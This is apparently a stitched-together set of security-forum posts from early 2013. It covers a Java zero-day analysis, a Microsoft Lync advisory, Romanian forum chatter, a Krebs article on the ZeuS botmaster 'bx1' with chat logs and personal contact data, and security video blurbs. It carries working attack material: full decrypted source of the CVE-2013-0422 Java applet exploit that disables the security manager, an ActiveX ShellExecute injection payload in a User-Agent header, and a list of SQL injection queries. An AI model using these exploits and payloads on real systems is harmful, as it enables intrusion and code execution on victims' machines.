the invokeWithArguments trampoline used in the context of a system (privileged) lookup object may still be abused for gaining access to restricted classes, their methods, etc. The above is important in the context of a security check that is implemented by the Lookup class. Its checkSecurityManager method compares the Class Loader (CL) namespace of the caller class of a target find [*] method (findStatic, findVirtual, etc.) with the CL namespace of a class for which a given find operation is conducted. Access to restricted packages is not checked only if Class Loader namespaces are equal (the case for public lookup object, but also for a trusted method caller such as invokeWithArguments invoked for not blacklisted method). The exploit vector used by the attack code is the same as the one we used for second instance of our Proof of Concept code for Issue 32 (reported to Oracle on 17-Sep-2012). This exploit vector relies on sun.org.mozilla.javascript.internal.GeneratedClassLoader class in order to define a fully privileged attacker's class in a system Class Loader namespace. From that point all security checks can be easily disabled. This is not the first time Oracle fails to "sync" security of Core and new Reflection APIs. Just to mention the Reflection API filter. This is also not the first time Oracle's own investigation / analysis of security issues turns out to be not sufficiently comprehensive. Just to mention Issue 50, which was discovered in the code addressed by the company not so long ago... Bugs are like mushrooms, in many cases they can be found in a close proximity to those already spotted. It looks Oracle either stopped the picking too early or they are still deep in the woods... Thank you. Best Regards Adam Gowdiak --------------------------------------------- Security Explorations http://www.security-explorations.com "We bring security research to the new level" --------------------------------------------- References: [1] Malware don't need Coffee: 0 day 1.7u10 spotted in the Wild - Disable Java Plugin NOW ! http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html [2] New year, new Java zeroday! http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/ [3] [SE-2012-01] Critical security issue affecting Java SE 5/6/7 http://seclists.org/fulldisclosure/2012/Sep/170 [4] SE-2012-01 Details http://www.security-explorations.com/en/SE-2012-01-details.html Via: Java Zero-Day Analysis ? Packet Storm

[h=2]Microsoft Lync 2012 Code Execution Vulnerability[/h] Summary ======= Microsoft Lync 2010 fails to properly sanitize user-supplied input, which can lead to remote code execution. Microsoft was originally notified of this issue December 11, 2012. The details of this issue were made public January 11, 2013. CVE number: Not Assigned Impact: Low Vendor homepage: http://lync.microsoft.com/ Vendor notified: December 11, 2012 Vendor fixed: N/A Credit: Christopher Emerson of White Oak Security (http://www.whiteoaksecurity.com/) Affected Products ================ Confirmed in Microsoft Lync Server 2010, version 4.0.7577.0. Other versions may also be affected. Details ======= Microsoft Lync 2010, version 4.0.7577.4087, fails to sanitize the “User-Agent Header” for meet.domainame.com. By inserting JavaScript into the aforementioned parameters and stacking commands, an attacker can execute arbitrary commands in the context of the application. Impact ====== Malicious users could execute arbitrary applications on the client systems, compromising the confidentiality, integrity and availability of information on the client system. Solution ======== The vendor should implement thorough input validation in order to remove dangerous characters from user supplied data. Additionally, the vendor should implement thorough output encoding in order to display, and not execute, dangerous characters within the browser. Proof-of-Concept (PoC) =================== The following Request is included as a proof of concept. The proof of concept is designed to open notepad.exe when the Request is received by the server. GET /christopher.emerson/JW926520 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */* Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";var oShell = new ActiveXObject("Shell.Application");var commandtoRun = "C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-" Host: meet.domainname.com Connection: Keep-Alive Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=Christopher Below is an abbreviated copy of the Response: HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-MS-Server-Fqdn: domainname.com X-Powered-By: ASP.NET Date: Mon, 07 May 2012 20:26:55 GMT Connection: keep-alive Content-Length: 23901 <!--NOTE: If DOCTYPE element is present, it causes the iFrame to be displayed in a small--> <!--portion of the browser window instead of occupying the full browser window.--> <html xmlns="http://www.w3.org/1999/xhtml" class="reachJoinHtml"> <head> <meta http-equiv="X-UA-Compatible" content="IE=10; IE=9; IE=8; requiresActiveX=true" /> <title>Microsoft Lync</title> <script type="text/javascript"> var reachURL = "https:// domainname.com/Reach/Client/WebPages/ReachJoin.aspx?xml=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48Y29uZi1pbmZvIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3J0Yy8yMDA5LzA1L3NpbXBsZWpvaW5jb25mZG9jIj48Y29uZi11Y21rLXNpcDpjaHJpc3RvcGhlci5lbWVyc29uQGRvbWFpbm5hbWUuY29tO2dydXU7b3BhcXVlPWFwcDpjb25mOmZvY3VzOmlkOkpXOTI2NTIwPC9jb25mLXVyaT48c2VydmVyLXRpbWU+OTEuODAwNDwvc2VydmVyLXRpbWU+PG9yaWdpbmFsLWluY29taW5nLXVybD5odHRwczovL21lZXQuZG9tYWlubmFtZS5jb20vY2hyaXN0b3BoZXIuZW1lcnNvbi9KVzkyNjUyMDwvb3JpZ2luYWwtaW5jb21pbmctdWNtdy08Y29uZi1rZXk+Slc5MjY1MjA8L2NvbmYta2V5PjwvY29uZi1pbmZiejQh"; var escapedXML = "'\x3c\x3fxml version\x3d\x221.0\x22 encoding\x3d\x22utf-8\x22\x3f\x3e\x3cconf-info xmlns\x3axsi\x3d\x22http\x3a\x2f\x2fwww.w3.org\x2f2001\x2fXMLSchema-instance\x22 xmlns\x3axsd\x3d\x22http\x3a\x2f\x2fwww.w3.org\x2f2001\x2fXMLSchema\x22 xmlns\x3d\x22http\x3a\x2f\x2fschemas.microsoft.com\x2frtc\x2f2009\x2f05\x2fsimplejoinconfdoc\x22\x3e\x3cconf-uri\x3esip\x3achristopher.emerson\x40 domainname.com \x3bgruu\x3bopaque\x3dapp\x3aconf\x3afocus\x3aid\x3aJW926520\x3c\x2fconf-uri\x3e\x3cserver-time\x3e91.8004\x3c\x2fserver-time\x3e\x3coriginal-incoming-url\x3ehttps\x3a\x2f\ x2fmeet.domainname.com \x2fchristopher.emerson\x2fJW926520\x3c\x2foriginal-incoming-url\x3e\x3cconf-key\x3eJW926520\x3c\x2fconf-key\x3e\x3c\x2fconf-info\x3e'"; var showJoinUsingLegacyClientLink = "False"; var validMeeting = "True"; var reachClientRequested = "False"; var currentLanguage = "en-US"; var reachClientProductName = "Lync Web App"; var crackUrlRequest = "True"; var isNokia = "False"; var isAndroid = "False"; var isWinPhone = "False"; var isIPhone = "False"; var isIPad = "False"; var isMobile = "False"; var isUnsupported = "False"; var domainOwnerJoinLauncherUrl = ""; var lyncLaunchLink = "conf:sip:christopher.emerson@ domainname.com ;gruu;opaque=app:conf:focus:id:JW926520%3Frequired-media=audio"; var errorCode = "-1"; var diagInfo = "Machine:MachineNameBrowserId:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";var oShell = new ActiveXObject("Shell.Application");var commandtoRun = "C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-"Join attempted at:5/7/2012 3:26:55 PM"; var resourceUrl = "/meet/JavaScriptResourceHandler.ashx?lcs_se_w14_onprem4.0.7577.197&language="; Vendor Statement ============== The vulnerability described in this report is a XSS vulnerability in the User-Agent which requires an attacker to be in a man-in-the middle situation in order to be able to modify the User-Agent. In a default configuration of Lync server, TLS encryption is used to protect against this type of attack. Customers concerned about this issue should check their environments to ensure that Lync is configured to use TLS to encrypt all traffic, a default configuration. Disclosure Timeline ============== December 11, 2012: Disclosed to vendor (Microsoft Security Response Center). December 18, 2012: Vendor’s initial response. December 20, 2012: Vendor deemed issue a Low severity and confirmed issue would be fixed in next product release. December 27, 2012: Received vendor approval to disclose along with Vendor Statement (see above). January 11, 2013: Disclosed vulnerability publicly ( http://whiteoaksecurity.com/blog/2013/1/11/microsoft-lync-server-2010-remote-code-executionxss-user-agent-header ). ===================================================================== # 3C8F2163853A5DE5 1337day.com [2013-01-13] 1A58B10CEE71628B # Sursa: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team

Era doar o ironie domnule fan Tinkode. Ca sa iti petreci 5 minute pentru a gasi un SQL Injection intr-un site trebuie sa alegi site-ul nu? Tu ai ales "Asociatia Asistentilor Medicali din Banat". Eu doar te-am intrebat: "DE CE?". Trebuie sa ai un motiv nu? Sau a fost doar un dork si acesti "nenorociti" au cazut in primele rezultate Google? Intrebarea mea e simpla: "Care este motivul pentru care ai ales acest site?".

Uau, ce "tinte"... Cum le gasesti?

Sau invata C/C++ si o sa poti programa si pentru frigider sau cuptorul cu microunde...

Java e cross-platform, adica poti face o aplicatie care sa ruleze si pe Windows si pe Linux. Problema principala este ca pentru a putea rula e nevoie de JRE (Java Runtime). Ca sa poti face aplicatii in Java trebuie sa cunosti clasele pe care le ofera. O alta problema cu Java este ca incepe sa nu mai fie foarte apreciat deoarece au aparut foarte multe exploit-uri. Visual Basic e strict marca Microsoft, si cred ca te referi la VB.NET deoarece nu cred ca e cazul sa se ramana la VB6. Daca vrei sa programezi strict pentru Windows, atunci poti folosi VB.NET insa iti recomand mai degraba C#. .NET Framework este un framework extrem de puternic si care iti ofera multe avantaje pentru scrierea rapida a unei aplicatii, insa ca si JRE este o dependinta necesara pentru a putea rula aplicatiile ce il folosesc.

Nu inteleg de ce se face atata scandal pe seama asta, trebuie sa fii cap de tanc sa dai click pe asta: Apoi sa dai Run: Ca apoi sa existe posibilitatea sa nu functioneze: Singurul browser care nu te avertizeaza ca vei executa cod Java e Opera (cel putin versiunea pe care o am eu) insa fereastra cu "Run", pe langa avertismentele oferite de celalalte browsere care cer permisiunea utilizatorului, apare intotdeauna.

Police Arrest Alleged ZeuS Botmaster “bx1? A man arrested in Thailand this week on charges of stealing millions from online bank accounts fits the profile of a miscreant nicknamed “bx1,” a hacker fingered by Microsoft as a major operator of botnets powered by the ZeuS banking trojan. As reported by The Bangkok Post, 24-year-old Hamza Bendelladj, an Algerian national, was detained this weekend at Bangkok’s Suvarnnabhumi airport, as he was in transit from Malaysia to Egypt. This young man captured news media attention when he was brought out in front of Thai television cameras handcuffed but smiling broadly, despite being blamed by the FBI for hacking into customer accounts at 217 financial institutions worldwide. Thai investigators told reporters that Bendelladj had amassed “huge amounts” in illicit earnings, and that “with just one transaction he could earn 10 to 20 million dollars. He’s been travelling the world flying first class and living a life of luxury.” I didn’t fully appreciate why I found this case so interesting until I started searching the Internet and my own servers for his email address. Turns out that in 2011, I was contacted via instant message by a hacker who said he was operating botnets using the Zeus and SpyEye Trojans. This individual reached out to me repeatedly over the next year, for no apparent reason except to brag about his exploits. He contacted me via Microsoft’s MSN instant message platform, using the email address daniel.h.b@universityofsutton.com. That account used the alias “Daniel.” I later found out that Daniel also used the nickname bx1. According to several forums on which bx1 hung out until very recently, the man arrested in Thailand and bx1 were one and the same. A review of the email addresses and other contact information bx1 shared on these forums suggests that bx1 was the 19th and 20th John Doe named in Microsoft’s 2012 legal suit seeking to discover the identities of 39 alleged ZeuS botmasters. From the complaint Microsoft submitted to the U.S. District Court for the Eastern District of Virginia, and posted at Zeuslegalnotice.com: “Plaintiffs are informed and believe and thereupon allege that John Doe 19/20 goes by the aliases “Daniel,” “bx1,” “Daniel Hamza” and “Danielbx1” and may be contacted at messaging email and messaging addresses “565359703,” airlord1988@gmail.com, bx1@hotmail.com, i_amhere@hotmail.fr, daniel.h.b@universityof sutton.com, princedelune@hotmail.fr, bx1_@msn.com, danibx1@hotmail.fr, and danieldelcore@hotmail.com. Upon information and belief, John Doe 19/20 has purchased and used the Zeus/SpyEye code.” The Daniel I chatted with was proud of his work, and seemed to enjoy describing successful attacks. In one such conversation, dated January 2012, bx1 bragged about breaking into the systems of a hacker who used the nickname “Symlink” and was renowned in the underground for writing complex, custom Web injects for ZeuS and SpyEye users. Specifically, Symlink’s code was designed to automate money transfers out of victim banks to accounts that ZeuS and SpyEye botmasters controlled. Here’s an excerpt from that chat: (12:31:22 AM) Daniel: if you wanna write up a story (12:31:34 AM) Daniel: a very perfect (12:31:34 AM) Daniel: even Interpol will get to you (12:31:35 AM) Brian Krebs: ? (12:31:42 AM) Daniel: i hacked the guy who fucked most banks (12:31:48 AM) Daniel: symlink the guy who made ATS (12:31:49 AM) Daniel: [img=https://rstforums.com/secimg.php?url=http://krebsonsecurity.com/wp-includes/images/smilies/icon_smile.gif] (12:32:02 AM) Daniel: ATS = Auto Transfer System (12:32:15 AM) Daniel: and get his Backups + Pictures and all his details (12:32:37 AM) Daniel: Recent Job etc etc (12:33:06 AM) Brian Krebs: what’s his name? (12:33:17 AM) Daniel: full name ? (12:34:03 AM) Brian Krebs: yeah (12:34:10 AM) Daniel: hmmmm (12:34:50 AM) Daniel: besliu vasile (12:35:01 AM) Brian Krebs: what kind of name is that? (12:35:11 AM) Brian Krebs: romanian? (12:35:13 AM) Daniel: Moldovian name (12:35:53 AM) Daniel: he is ugly motherufcka. (12:36:18 AM) Daniel: after i hacked him he said that i destroyed his life ( (12:36:27 AM) Brian Krebs: aww (12:36:55 AM) Daniel: yea because i spoke to him (12:37:10 AM) Daniel: i said how much u pay for ur info to stay private (12:37:19 AM) Daniel: then he said he destroyed his [hard drive] (12:37:28 AM) Daniel: i said i dont care i got Backup (12:37:32 AM) Daniel: it tooks me months to download all (12:37:48 AM) Daniel: his Previous job..ats..proof video (12:37:55 AM) Daniel: his picture with Zeus botnet showing up money (12:38:12 AM) Daniel: his car Plate number (12:38:17 AM) Daniel: Girls Friends (12:38:23 AM) Daniel: his workshop. he is mechanic (12:40:49 AM) Brian Krebs: huh. how come it took you months to [download]? (12:41:43 AM) Daniel: i waiting for him (12:41:46 AM) Daniel: if he don’t [pay] then i share just his personel info (12:41:57 AM) Daniel: and videos that proof abt his jobs etc etc It’s not clear whether bx1 had anything to do with it, but according to a lengthy thread on Mazafaka, one of the Underweb’s most exclusive cybercrime forums, Symlink was arrested late last year in Moldova. In a post on Oct. 11, 2012, forum regulars said Symlink had been arrested the day before, and that he got caught because he flaunted his ill-gotten wealth with fancy cars (a fully loaded Land Cruiser 200, valued at more than $100,000) and ostentatious lifestyle choices that were apparently considered far beyond the means of a local auto mechanic. As they do anytime a forum member gets arrested, the forum administrators banned Symlink’s account to distance themselves from the former member. “Economic police came to symlink yesterday. All computers were seized, one was encrypted and two not, all jabbers at the moment of seizure were online. Ban him temporarily, but better permanently. He was received adultly [meaning, arrested seriously]. Idiot overplayed.” It’s safe to say that bx1 had his share of enemies, and its possible that Symlink and/or his buddies got the last laugh. According to information obtained by KrebsOnSecurity, attackers recently targeted bx1 in a successful hack to break into his computer, making off with many files, email messages, screenshots and images from his machine. Among them were scanned copies of two identity cards, both bearing the name and likeness of Hamza “Daniel” Bendelladj; one from a “University of Sutton,” and another that appears to be some kind of international ID card. It’s not clear whether these documents are legitimate or manufactured, but probably the latter: the domain attached to bx1?s MSN email address — universityofsutton.com — is registered with the following contact data: domain: universityofsutton.com owner: Daniel Delcore organization: VIRUS & Malware Scanner email: bx1_@msn.com address: 522 8th street city: Columbus state: IN postal-code: 47201 country: US phone: +1.7573011758 admin-c: CCOM-1611324 bx1_@msn.com tech-c: CCOM-1611324 bx1_@msn.com billing-c: CCOM-1611324 bx1_@msn.com Sursa: Police Arrest Alleged ZeuS Botmaster “bx1? — Krebs on Security

Monitoring Strcpy With Bphook In The Immunity Debugger Description: This is the solution to an exercise I had given in the SPSE course. I wanted the students to write a BPHook in the Immunity Debugger to monitor the arguments of the strcpy function. Due to the sparse documentation of the Immunity Debugger, this came out to be quite a challenge for many students. Why is this useful? API monitoring is probably the most fundamental thing when you want to observe programs at runtime and understand what they are doing. This video provides you the details on how to to the Immunity Debugger to write such as hook. SPSE Course details and sample videos: SecurityTube Python Scripting Expert

Nosql, No Security? Description: Serving as a scalable alternative to traditional relational databases (RDBs), NoSQL databases have exploded in popularity. NoSQL databases offer more efficient ways to work with large datasets, but serious security issues need to be addressed. NoSQL databases can suffer from a variety of injection attacks. Most NoSQL databases can’t authenticate and authorize clients, and can’t provide role-based access controls or encryption. Because these controls do not exist, developers and administrators are forced to implement their own controls to compensate for these shortcomings. These compensating controls could become a problem for organizations that have compliance considerations and could make maintaining NoSQL more complex than simply deploying an enterprise relational database that features built-in security. Because many NoSQL architectures lack encryption and authentication, an attacker could eavesdrop on the client-server communication and obtain private data. Additionally, NoSQL databases can suffer from a variety of injection attacks via Javascript and JSON. Traditional SQL injection countermeasures are not effective against these attacks, so developers must be aware of these threats and write code that attackers can’t penetrate. In this presentation we’ll talk about how RDB security features and threats apply to NoSQL databases. We’ll also explore the security controls that are present in NoSQL architectures, and cover administrative, compliance and regulatory concerns associated with operating NoSQL architectures in environments that contain sensitive data. ***** Speaker: Will Urbanski, Dell Secureworks Will Urbanski, vulnerability engineer, Dell SecureWorks, guides large enterprises in initiating and administering vulnerability management programs within their corporate environments. Will also conducts penetration and vulnerability validation tests. An information security professional with more than seven years of industry experience, Will has been published in numerous journals, including IEEE Security & Privacy, and has co-authored a patent for an IPv6 moving target defense. Previously, Will worked in research and in security operations roles at Virginia Polytechnic Institute and the University of Georgia. He holds a B.S. in Computer Science from the University of Georgia, and is certified as a PCI Approved Scanning Vendor, a GIAC Penetration Tester and a GIAC Web Application Penetration Tester. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: NoSQL, No Security? - Will Urbanski on Vimeo Sursa: Nosql, No Security?

Dns - Spoof + Browser Exploitation Description: In this video I will show you how to use Ettercap and Browser Exploitation module for Exploitation a local machine without giving any kind of URL. I’m using Ettercap for DNS spoofing and Metasploit for Browser Exploitation. In your network lets see the victim is using Google, Yahoo, Gmail, or any website. What you have to use - Ettercap you need to replace the path and if he will access google or yahoo if victim running vulnerable browser so you will get the shell or if not then he is not able to browser that particular sites. Very easy to follow but it is good technique I think. Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Dns - Spoof + Browser Exploitation

Dvwa - Blind Sql Injection Description: In this video I will show you how to use SQL Injection queries for exploitation a database for usersname and hash. I’m using DVWA with low level security. Use Metasploitable – 2 for DVWA. SQL Injection queries : - 1' and 1=1# 1' and 1=1 order by 2 # 'or' 1=1— 1' and 1=0 union select null,table_name from information_schema.tables# 1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' # 1' and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users' # 1' and 1=0 union select null,concat(first_name,0x0a,password) from users # 1 and 1=0 union select table_name, column_name from information_schema.columns where table_name=0x7573657273 Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying. Original Source: Sursa: Dvwa - Blind Sql Injection

Devine popular: Java Applet JMX Remote Code Execution Malware Intelligence Lab from FireEye - Research & Analysis of Zero-Day & Advanced Targeted Threats:Happy New Year from New Java Zero-Day Java allows 'open hunting season' for hackers, experts find | ZDNet Mozilla touts 'Click to Play' in defense against Java vulnerability | ZDNet

[h=1]Web Warriors ~ CBC Documentary[/h] http://www.youtube.com/watch?feature=player_detailpage&v=34cwMz3HZ8Q Enter the world of hackers and cyber sleuths. The internet is touted as one of the most important inventions in the history of modern man, and like the discovery of the atom, its ability to benefit mankind is matched only by its potential to unleash massive destruction. Web Warriors is a one-hour documentary that offers an unprecedented glimpse into the world's newest and most vulnerable frontier: cyberspace. We enter the world of hackers like Mafia Boy - a 15 year old high school student who rose to infamy in 2000 by causing millions of dollars in damage after single-handedly shutting down internet giants - including Yahoo, Amazon, eBay, Dell, eTrade, and CNN. We'll meet hackers like Donnie who goes on a journey into the Russian cyber underground as he searches for the creators of a computer virus with the hopes of collecting the $250,000 bounty being offered by Microsoft. Just as in nature, computer viruses have rapidly evolved and now have the ability to control millions of computers unbeknownst to their owners, thereby creating massive illegal computer networks known as "Botnets". These "Botnets" are being put to a variety of illicit uses including identity theft and cyber extortion, but they are also the latest and most potent weapon being deployed in military conflicts. Web Warriors dissects the massive cyber attack against Estonia in 2007 which virtually shut down the country and resulted in NATO deploying its cyber response team. Web Warriors offers rare interviews with cyber sleuths from the FBI, the Pentagon, NATO, and the Department of Homeland Security who explain how cyberspace has become the latest battle ground between nation states and how terrorist groups are already plotting their next move. Web Warriors offers a fast-paced never-seen before glimpse into the cyber trenches of a world wide battle. Some reports say the cost of cyber crime is now on par with the illegal drug trade. Web Warriors was produced by Edward Peill for Tell Tale Productions Inc.

Detalii: New year, new Java zeroday! - AlienVault Labs Malware don't need Coffee: 0 day (CVE-2013-0422) 1.7u10 spotted in the Wild - Disable Java Plugin NOW ! http://pastebin.com/raw.php?i=cUG2ayjh Exploit Packs updated with New Java Zero-Day vulnerability - Hacking News /* Java 0day 1.7.0_10 decrypted source Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0 From Russia with love. */ import java.applet.Applet; import com.sun.jmx.mbeanserver.JmxMBeanServer; import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder; import com.sun.jmx.mbeanserver.MBeanInstantiator; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.lang.invoke.MethodType; import java.lang.reflect.Method; public byte[] hex2Byte(String paramString) { byte[] arrayOfByte = new byte[paramString.length() / 2]; for (int i = 0; i < arrayOfByte.length; i++) { arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16); } return arrayOfByte; } public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001 00063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C6501 00124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F4578 63657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F 07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F757263 6546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F 457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A65637401000142 0100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E41637469 6F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F 50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C6567656445 7863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176 612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A 6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000 020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100 040009000C00030003000B000000120004000000080004000B0009000C000D000D000C0000001600 02000D0000000D000E00010000000E000F001000000011000000100002FF000C0001070012000107 0013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B0000000 02000B0000000A00020000001000040011000C0000000C00010000000C000F001000000001001600 0000020017"; public void init() { try { byte[] arrayOfByte = hex2Byte(ByteArrayWithSecOff); JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder(); JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null); MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator(); ClassLoader a = null; Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a); Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a); MethodHandles.Lookup localLookup = MethodHandles.publicLookup(); MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class }); MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1); MethodType localMethodType2 = MethodType.methodType(Void.TYPE); MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 }); Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]); MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class }); MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3); MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class); MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 }); Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null }); MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 }); Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte }); localClass3.newInstance(); Runtime.getRuntime().exec("calc.exe"); } catch (Throwable ex) {} } }

Detalii: https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156 https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156 Ronin - Rails PoC exploits for CVE-2013-0156 and CVE-2013-0155

PS: Author: sickness